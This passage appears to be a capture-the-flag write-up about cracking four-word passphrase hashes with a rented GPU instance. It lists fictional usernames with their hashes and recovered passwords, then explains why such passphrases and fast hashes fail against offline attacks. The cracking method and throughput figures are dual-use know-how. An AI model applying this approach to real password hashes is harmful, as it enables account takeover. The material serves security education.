This behemoth can run through all 4-word password combinations for NTLM using the wordlist in about a minute. And running it for a minute costs less than a dollar!

When spinning up expensive AWS instances, don't go to sleep with them idling.

Here are the passwords we were able to crack this way:

alabaster.snowball 17e22cc100b1806cdc3cf3b99a3480b5 power instrument gasoline film EDB LDAP MD5
bushy.evergreen 3d32700ab024645237e879d272ebc428 reason fight carried pack EDB LDAP MD5
holly.evergreen 031ef087617c17157bd8024f13bd9086 research accept cent did EDB LDAP MD5
jessica.claus 16268da802de6a2efe9c672ca79a7071 in attention court daughter EDB LDAP MD5
mary.sugerplum b9c124f223cdc64ee2ae6abaeffbcbfe mark poem doll subject EDB LDAP MD5
minty.candycane bcf38b6e70b907d51d9fa4154954f992 tight mass season may EDB LDAP MD5
pepper.minstix d0930efed8e75d7c8ed2e7d8e1d04e81 wolf how policeman dance EDB LDAP MD5
shimmy.upatree d0930efed8e75d7c8ed2e7d8e1d04e81 wolf how policeman dance EDB LDAP MD5
sparkle.redberry 82161cf4b4c1d94320200dfe46f0db4c receive couple late copy EDB LDAP MD5
tarpin.mcjinglehauser f259e9a289c4633fc1e3ab11b4368254 dozen age nation blind EDB LDAP MD5
wunorse.openslae 9fd69465699288ddd36a13b5b383e937 comfortable world yellow jungle EDB LDAP MD5

#### Why Are These Passwords Insecure?

http://passphra.se/ is based off of this XKCD comic:

This comic explicitly mentions that these passwords are intended to keep you safe via online attacks, and not the offline attacks we were performing. With our GPU cracking rig, we were testing over 200 billion passwords per second, and these were designed to be resistant for 1,000 per second.

What's more, the wordlist was supposed to be 2,048 words, but only used 1,949, calling it "close enough." This seems like a small difference, but when you consider 4 word combinations, there are only 82% as many combinations with 1,949 words as with 2,048.

Would adding more words help? Yes, but a 5 word combination would still be crackable in less than a day and a half, and even a 6 word combination isn't out of reach for a determined (and well-funded) adversary.

Another solution is using better hashes, which are more computationally expensive to compute.

Validate